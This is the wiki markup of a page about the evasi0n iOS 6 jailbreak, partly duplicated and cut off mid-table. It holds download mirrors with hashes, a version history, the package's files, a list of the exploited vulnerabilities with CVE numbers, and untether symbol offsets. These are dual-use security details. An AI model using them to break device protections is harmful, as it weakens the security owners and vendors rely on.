| <code>97fbeb932dd3cb22ec339ec4c2f95a17d570d30c</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/4t8gg74ybfmm0q6ca617 Box]
| rowspan="3" {{n/a}}
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2315522066/evasi0n-linux-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>051079f808f5c31f32ba09c6a39f09a8c3479157</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/umd13tz9eunklq0dp0pt Box]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2207200894/evasi0n-mac-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.dmg iClarified]
|-
| Windows
| <code>30d34e23f860eae28d4ae6513edc46ef8aa2042c</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/18ia7rds8ka8rc112inh Box]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/3354239509/evasi0n-win-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.zip iClarified]
|-
! rowspan="3" class="blradiusplz" | 1.5.3
| GNU/Linux
| <code>620dcb7996b1f3497827b11876bf0c2fae069ecf</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/2wk6dtc31bw74j514d40 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!klVWRThY!alwqx8rzv_v6xFH5wgnMCT2R9hDVRSxoWshFmMHvesU MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/496420809/evasi0n-linux-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>54827d78cb45b7dae4e7566b9ed5c1b833d68850</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/1dtxycfpsyvp0katitwk Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!IlE33IJT!tk0UOjL8Wt7Np8UYi5LjQ3WKPnwqwWK-IY8HOzxsrsY MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/478466150/evasi0n-mac-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.dmg iClarified]
|-
| Windows
| <code>2f8c2f111a6afefd099ecb0ce5aab63f160940b8</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/mh5vk7hpa7r3ymhnyjsz Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!lscBQKST!88XCNjSPj0FYFlu1v3WApcrwW2XnHD_IEPKRef1RiWk MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/1014635071/evasi0n-win-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.5.3-release.zip iClarified]
|}

== Exploits and Vulnerabilities ==
evasi0n takes advantage of several vulnerabilities:
* [[Symbolic Link Vulnerability]]
* [[Malformed PairRequest]]
* [[Timezone Vulnerability]] (CVE-2013-0979)
* [[Shebang Trick]]
* [[AMFID code signing evasion]]
* [[launchd.conf untether]]
* [[IOUSBDeviceFamily Vulnerability]] (CVE-2013-0981)
* [[ARM Exception Vector Info Leak]] (CVE-2013-0978)
* [[dynamic memmove() locating]]
* [[vm_map_copy_t corruption for arbitrary memory disclosure]]
* [[kernel memory write via ROP gadget]]
* [[Overlapping Segment Attack]] (CVE-2013-0977)

== Symbols in Untether code ==
{| class="wikitable" style="text-align:left;"
! Symbol
! v1
! v2
! v3
! v4
! v5
! v6
! v7
! v8/9
|-
| start
| 020B0
| 02EF8
| 02BFC
| 02BFC
| 02BFC
| 02E30
| ?
| 02A80
|-
| find_memmove_arm#search
| ?
| ?
| ?
| ?
| ?
| 0AFA0
| ?
| ?
|-
| find_memmove_thumb#search
| ?
| ?
| ?
| ?
| ?
| 0AFD0
| ?
| ?
|-
| find_memmove
| ?
| ?
| ?
| ?
| ?
| 0571C
| ?
| ?
|-
| find_memmove#exit
| ?
| ?
| ?
| ?
| ?
| 05762
| ?
| ?
|-
| _catch_exception_raise_state_identity
| ?
| ?
| ?
| ?
| ?
| ?
| ?
| 065B8
|}

== See Also ==
* [[evad3rs]]
* [[Patchfinder]]

== External Links ==
* [http://blog.accuvant.com/bthomasaccuvant/evasi0n-jailbreaks-userland-component/ Accuvant Labs analysis]
* [http://blog.azimuthsecurity.com/2013/02/from-usr-to-svc-dissecting-evasi0n.html Analysis by kernelpool]
* [http://www.nislab.no/content/download/38610/481190/file/NISlecture201303.pdf kernelpool presentation at NISlab: slides]
* [http://forelesning.hig.no/publish/1363953611-9b560e3de8f2/combined.mp4 kernelpool presentation at NISlab: video]
* [http://www.forbes.com/sites/andygreenberg/2013/02/05/inside-evasi0n-the-most-elaborate-jailbreak-to-ever-hack-your-iphone/ Explanation by planetbeing in Forbes]
* [https://github.com/NetsourceLabs/HopperScripts Hopper Script to demangle evasi0n strings] for Mac client of evasi0n, use in Hopper disassembler
* [http://support.apple.com/kb/HT5704 Apple Response: iOS 6.1.3 Security Fixes]
* [http://support.apple.com/kb/HT5702 Apple Response: iOS 5.2.1 (Apple TV) Security Fixes]
* [http://conference.hitb.org/hitbsecconf2013ams/materials/D2T1%20-%20Pod2g,%20Planetbeing,%20Musclenerd%20and%20Pimskeks%20aka%20Evad3rs%20-%20Swiping%20Through%20Modern%20Security%20Features.pdf Slides from HITB presentation in Amsterdam 2013]
* [http://www.quarkslab.com/en-blog+read+38 Quarkslab blog post describing how evasi0n bypasses code signing]
* [https://twitter.com/p0sixninja/status/906567268334755841 Announcement for public release of source]
* [https://github.com/OpenJailbreak/evasi0n6 Public source code]

[[Category:Jailbreaks]]
[[Category:Jailbreaking]]
[[Category:Cydia Packages]]

Evasi0n

2017-09-09T18:03:50Z

Http: Public release of source code

{{lowercase}}
{{about|the untethered jailbreak for iOS 6.0-6.1.2|the untethered jailbreak for iOS 7.0.x|evasi0n7}}
{{Infobox software
| name = evasi0n
| title = evasi0n
| logo = [[File:Evasi0n.png|128px]]
| author = [[evad3rs]]
| developer = evad3rs
| released = {{date|2013|02|04}}
| discontinued =
| latest release version = 1.5.3
| latest release date = {{date|2013|03|12}}
| programming language = C
| operating system = [[wikipedia:Microsoft Windows|Windows]] / [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]
| size = Windows: 9.974 MiB [ZIP] OS X: 9.481 MiB [DMG] Linux: 9.405 MiB [TAR.LZMA]
| platform =
| language = [[wikipedia:English|English]]
| status = Deprecated
| genre = Jailbreaking
| license = [[wikipedia:Freeware|Freeware]]
| website = [http://evasi0n.com/iOS6 evasi0n.com/iOS6]
}}
'''evasi0n''' is a [[jailbreak]] tool that can perform an [[untethered jailbreak]] on [[iOS]] 6.0-6.1.2 for all [[#Supported Devices|supported devices]], excluding both [[Apple TV (3rd generation)]] revisions. It was first released on 4 February 2013 by [[evad3rs]], and is available for Windows, Mac OS X, and Linux (x86 and x86_64). There is also a [[Cydia.app|Cydia]] package called "evasi0n [[iOS]] 6.0-6.1.2 [[untethered jailbreak|untether]]" which can untether an existing [[tethered jailbreak]] without the need to restore and use the desktop tool. It is a [[userland]] [[jailbreak]]. [[User:posixninja|P0sixninja]] released the [https://github.com/OpenJailbreak/evasi0n6 source code] with his [https://twitter.com/p0sixninja/status/906567268334755841 Twitter announcement on 9-Sept-2017].

== Supported Devices ==
As of evasi0n's release, the only unsupported devices are the [[Apple TV (3rd generation)]] revisions, since the [[kernel]]s on these devices lack an injection vector to run unsigned code. All other devices running [[iOS]] 6.0-6.1.2 are supported (including iOS 5.2 for the [[K66AP|Apple TV (2nd generation)]]).

== Cydia Package ==
The Cydia package contains just three files:
/private/var/evasi0n/amfi.dylib
/private/var/evasi0n/evasi0n
/usr/libexec/dirhelper

It also includes three Debian maintenance scripts: <code>prerm</code> (a bash script that cancels uninstallation if the device is not vulnerable to [[Limera1n Exploit|limera1n]]), as well as <code>postrm</code> and <code>extrainst_</code> binaries.

== Version History ==
{| class="wikitable"
! Version
! Cydia Package Version
! Release Date
! #
! SHA-1 of evasi0n binary
! Changes
|-
! 1.0
| style="text-align:center;" | 0.1-1
| {{date|2013|02|04}}
| 1
| <code>f16f4592e5d65927faf98a25bce51b22ee9bc831</code>
|
* Initial Release
|-
! 1.1
| style="text-align:center;" | 0.2-3
| {{date|2013|02|06}}
| 2
| <code>301003d8aa58a0a2e1bf7030bb903ca42a89c851</code>
|
* Prevents Weather app from appearing on [[List of iPads|iPads]]
* Mitigated the long reboot issue
* Fixed freezing issue with after connecting multiple devices
* Fixed blinking of the jailbreak instructions on OS X.
* OS X app is now codesigned.
|-
! 1.2
| style="text-align:center;" | 0.3-1
| {{date|2013|02|08}}
| 3
| <code>75d140c53bdd615cc279932f843ab3af584086a5</code>
|
* Disables [[OTA Updates|OTA updates]].
* Correct timezone issue in evasi0n binary if client fails to correct it.
|-
! 1.3
| style="text-align:center;" | 0.3-2
| {{date|2013|02|11}}
| 4
| <code>ff5a5e767acb4c9acf9a25555ae172ad254e596a</code>
|
* Adds support for the [[N94AP|iPhone 4S]] on [[iOS]] 6.1.1.
|-
! 1.4
| style="text-align:center;" | 0.3-3
| {{date|2013|02|19}}
| 5
| <code>3b2cc5e2d7be397c09d369e83ea52094250d86e9</code>
|
* Added support for iOS 6.1.2
|-
! 1.5
| rowspan="2" style="text-align:center;" | 0.4-1
| {{date|2013|02|23}}
| 6
| <code>cd5a71b4d0b2767294049cc6b3b2ce3e09d68445</code>
|
* Improved boot time.
* Updated included Cydia package list.
|-
! 1.5.1
| {{date|2013|03|05}}
| 7
| <code>1a826416932e77f24c94da17884e48ccfe7cdbf6</code>
|
* Updated included Cydia package list.
|-
! 1.5.2
| rowspan="2" style="text-align:center;" | 0.4.1-1
| {{date|2013|03|11}}
| 8
| <code>3e89337956189e6654cd359995ac550f0372ac8b</code>
|
* Added French translation.
* Added Chinese translation.
* Added German translation.
* Updated bundled Cydia with localization fixes.
|-
! 1.5.3
| {{date|2013|03|12}}
| 9
| <code>3e89337956189e6654cd359995ac550f0372ac8b</code>
|
* Fixes Windows bugs.
|}

== Download ==
{| class="wikitable" style="white-space:nowrap;"
! Version
! OS
! SHA-1 Hash
! colspan="5" | Download
|-
! rowspan="3" | 1.0
| [[wikipedia:Linux|GNU/Linux]]
| <code>c9e4b15a161b89f0e412721f471c5f8559b6054f</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-linux-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/5dped2c9ejnk5r6ahfpg Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!0kUkXBLC!Q8e53kQZpLbGL7PquHWgQFhMU9Ru3WJWxBuzEdkiMJo MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2561828874/evasi0n-linux-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.tar.lzma iClarified]
|-
| [[wikipedia:OS X|Mac OS X]]
| <code>23f99a0d65e71fd79ff072b227f0ecb176f0ffa8</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-mac-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/du66n0g9wl1j4ta57hpx Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!5h0BwQoa!KdRLFwNJ3OjMS-7Zs2YGQnsvPxAKEsaAjabY__8pNtY MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/3010870584/evasi0n-mac-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.dmg iClarified]
|-
| [[wikipedia:Microsoft Windows|Windows]]
| <code>2ff288e1798b4711020e9dd7f26480e57704d8b2</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-win-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/tg1t0cz7oakvq7hsv0bd Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!d9ciUApQ!AkwevVU1OtUrEUU7U4fE-V8qqM9aINTAGgjkukShihE MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/3503186483/evasi0n-win-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.0-3c53ba10e2448d311b0f4157f2d7eb568f106c4f-release.zip iClarified]
|-
! rowspan="3" | 1.1
| GNU/Linux
| <code>6c06a6be87e003eee470eb749b42ffbaafcc9e62</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-linux-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/8smyi2ud2ts41icmtf50 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!Qw9wwJpC!IE3ZcRv9-yCc-w12Ktmd_AQbVV84xCdIycB7W0OyW8g MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/330748775/evasi0n-linux-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>ae9d20bc927976a1f55089cd80afca48de0f7a2e</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-mac-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/ydz8ctzuvyjuqb7y0oj5 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!I0FmTK7Q!YTBYg3e9oEFYIFwFN56XfVqcHAdh1YacWW0OkFE1dHo MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2540645295/evasi0n-mac-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.dmg iClarified]
|-
| Windows
| <code>4225b01afd4a4fd1277565954964bd3310ad8b5f</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-win-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/velx0yh66mmw4jlf4igm Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!1x9EzajI!CqMhmQ8rl6NODx6S4lOZVRNHyBJ9Dgt3TtRBl4_l2NA MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2426342155/evasi0n-win-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.1-baad71faf69b65b5d97f8fc1391846d5778b289d-release.zip iClarified]
|-
! rowspan="3" | 1.2
| GNU/Linux
| <code>2e1d1f6c7e6ca775860df03298dce3b0d798658a</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-linux-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/jcerfiaug4ke7f4q6z15 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!Ak12CQIJ!Mf6_W1l9xPQKvQUYOZEl9w_4yB0HbfqrTRWZ6BJKSjg MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/1511098224/evasi0n-linux-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>8f91aba478ad28bda800dc5c303be1699fcfb800</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-mac-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/qogbw1s82xi8ogdfk1co Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!wxMFAZhR!KIMDnVwbvscogces8L2z7j1aQIgxPZgsBygLou69gfk MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/3161324199/evasi0n-mac-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.dmg iClarified]
|-
| Windows
| <code>9942559caf779da6526b9fd0e207d21554a8a9cf</code>
| style="text-decoration: line-through;" | [https://sites.google.com/site/evad3rs/evasi0n-win-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/ld4e7c2ckrjyaj1cym8g Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!9k0iQICT!M_gOkBSyYO5c86LqXX9UUWF-twF-wJMhH9ScPwd1CFE MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2387451293/evasi0n-win-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.2-54502235236cbca6b1fcdbce5694ae2e4c5eb703-release.zip iClarified]
|-
! rowspan="3" | 1.3
| GNU/Linux
| <code>d93bc45653345e62a315e0a0aaa1b709aacd26c4</code>
| [https://sites.google.com/site/evad3rs/evasi0n-linux-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/yu314zif091koehui5pb Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!Rg0kyRIK!T-_u6CMAgTc1lFl0XMdjwjD3sBcAnOlIUK0GdR-Nh-s MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2098837020/evasi0n-linux-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>c239da3fd4e312c8468cdca967c86962b2cbd3f9</code>
| [https://sites.google.com/site/evad3rs/evasi0n-mac-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/cfbxzbn3p9gmj24tslwc Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!wgdgHCLb!AHLWLhCqoTQR-qWceDld_nODFZAo-MiMJbDug3my2iE MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2824336729/evasi0n-mac-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.dmg iClarified]
|-
| Windows
| <code>92bbe23f125f3b0155334f1925943624e24ce130</code>
| [https://sites.google.com/site/evad3rs/evasi0n-win-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/spd5uii8p86ko6ypad1l Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!Uh0gVLbQ!YP63Pk2qb300H_bI17i8i3z7868m5aQPJEWaDob5Qe8 MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2063191667/evasi0n-win-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.3-1cb32faf1e4f4f6c890e6fcbeb004cb694c386f5-release.zip iClarified]
|-
! rowspan="3" | 1.4
| GNU/Linux
| <code>95c34e7a7220d2dab2e93cf9bb62beb49aef8996</code>
| [https://sites.google.com/site/evad3rs/evasi0n-linux-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/f6llokbz8k2a3ag08d54 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!B5FGyQLY!QoSdQFK-8yWmXbwhBjr0YhXeFW5YQGih2ZUOzGIO9SA MEGA]
| rowspan="9" {{n/a}}
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>96b62f303e335bb5c6b78034027606fee5fc93c3</code>
| [https://sites.google.com/site/evad3rs/evasi0n-mac-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/flvifqy9csegg2dyk79n Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!10dgUABL!R8uxsTBRPD58gE6K7cF22QI2xtp0k6OAYcD6L6d-9g4 MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.dmg iClarified]
|-
| Windows
| <code>36adf9ccf62aaf770163666e757c7a89e9ba3a55</code>
| [https://sites.google.com/site/evad3rs/evasi0n-win-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/eesitqovp4ac444txvau Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!04ljSZQJ!F9kaThdAaXyYiOINpn63WA1kEARYujnUh6SRl4gp7Ok MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.4-91fc5a30e4caf41b22e85427e1b3b738f5158d8e-release.zip iClarified]
|-
! rowspan="3" | 1.5
| GNU/Linux
| <code>923db21a9045df6aaaff27670be92330f4855a21</code>
| [https://sites.google.com/site/evad3rs/evasi0n-linux-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.tar.lzma Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/0uhcxb83r30519x59avl Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!5odg2TBQ!M_csICuu8BazHC16H5Y_zlv6hqw7ZFsz-rOoYkrXdeg MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>cccf7e5b4a83df8c05dcfed98b9627533c018541</code>
| [https://sites.google.com/site/evad3rs/evasi0n-mac-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.dmg Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/ip3yvihmkkp9qh3arixs Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!YpdiWJpZ!GDrEaV5xwMI8XUv2gKER6EstsD1MMgKJD-MkTo41MLM MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.dmg iClarified]
|-
| Windows
| <code>25799bbeea3733c26fb010e6aca432d686fd8f9f</code>
| [https://sites.google.com/site/evad3rs/evasi0n-win-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.zip Google Sites]
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/tnez6rzlyka0yovc59fu Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!M4En0DqT!TLDb1TO0bnRYxnvd53pcP31Yf0RoD50oeEN9nsERi9o MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.5-9cde20f28818ac84a776f2db463c265db00c1021-release.zip iClarified]
|-
! rowspan="3" | 1.5.1
| GNU/Linux
| <code>cc0bd166a1480c2a838584b201981db1e45ca411</code>
| rowspan="9" {{n/a}}
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/q9kxt1rx26jtsp5t23jf Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!A9cGhJ7R!WBD8mEP44G8xto1QE6buXV8wVr9JjwE8ZzXR1GETZwA MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.5.1-4e748c808f9d38c262b0916f87ef5b0e8124fc5f-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>4a0e9fb8b5f83fbee5e26d1d7db876cefd09832a</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/jz8730nj3fqhe4u16um0 Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!Jh8VBYwb!E2MPwwr6qlaljNAS_4A2AAN6iS0KZzxEjCaeW84tbM4 MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.5.1-4e748c808f9d38c262b0916f87ef5b0e8124fc5f-release.dmg iClarified]
|-
| Windows
| <code>a220bb5fb1ccf5cf1cb666dc03e20ac54890835d</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/51vgle3imzdvero2krja Box]
| class="rborderplz" style="text-decoration: line-through;" | [https://mega.co.nz/#!M5FVzIxZ!ExWD6iJVoIO_vmJYuBvFrk0bW7MYmXfYnjDUea2Nhbc MEGA]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.5.1-4e748c808f9d38c262b0916f87ef5b0e8124fc5f-release.zip iClarified]
|-
! rowspan="3" | 1.5.2
| GNU/Linux
| <code>97fbeb932dd3cb22ec339ec4c2f95a17d570d30c</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/4t8gg74ybfmm0q6ca617 Box]
| rowspan="3" {{n/a}}
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2315522066/evasi0n-linux-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>051079f808f5c31f32ba09c6a39f09a8c3479157</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/umd13tz9eunklq0dp0pt Box]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/2207200894/evasi0n-mac-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.dmg iClarified]
|-
| Windows
| <code>30d34e23f860eae28d4ae6513edc46ef8aa2042c</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/18ia7rds8ka8rc112inh Box]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/3354239509/evasi0n-win-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.5.2-7ef0895fb6c0ba200b952906c3d36594ace7bf84-release.zip iClarified]
|-
! rowspan="3" class="blradiusplz" | 1.5.3
| GNU/Linux
| <code>620dcb7996b1f3497827b11876bf0c2fae069ecf</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/2wk6dtc31bw74j514d40 Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!klVWRThY!alwqx8rzv_v6xFH5wgnMCT2R9hDVRSxoWshFmMHvesU MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/496420809/evasi0n-linux-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.tar.lzma RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-linux-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.tar.lzma iClarified]
|-
| Mac OS X
| <code>54827d78cb45b7dae4e7566b9ed5c1b833d68850</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/1dtxycfpsyvp0katitwk Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!IlE33IJT!tk0UOjL8Wt7Np8UYi5LjQ3WKPnwqwWK-IY8HOzxsrsY MEGA]
